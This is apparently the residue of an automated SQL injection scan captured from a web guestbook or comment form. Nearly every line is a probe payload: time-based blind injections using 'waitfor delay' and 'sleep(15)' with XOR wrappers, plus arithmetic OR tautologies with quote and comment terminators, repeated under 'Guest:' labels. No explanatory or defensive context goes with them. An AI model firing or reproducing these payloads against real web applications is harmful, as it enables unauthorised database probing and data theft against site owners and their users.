Guest:
555ZucXqnNx'; waitfor delay '0:0:15' -- 


Guest:
555ZucXqnNx'; waitfor delay '0:0:15' -- 


-1 OR 2+907-907-1=0+0+0+1 --

-1 OR 2+407-407-1=0+0+0+1

-1' OR 2+632-632-1=0+0+0+1 --

-1' OR 2+436-436-1=0+0+0+1 or 'Q4dHB1W2'='

-1" OR 2+89-89-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
555ZucXqnNx'; waitfor delay '0:0:15' -- 
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
555ZucXqnNx'; waitfor delay '0:0:15' -- 
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z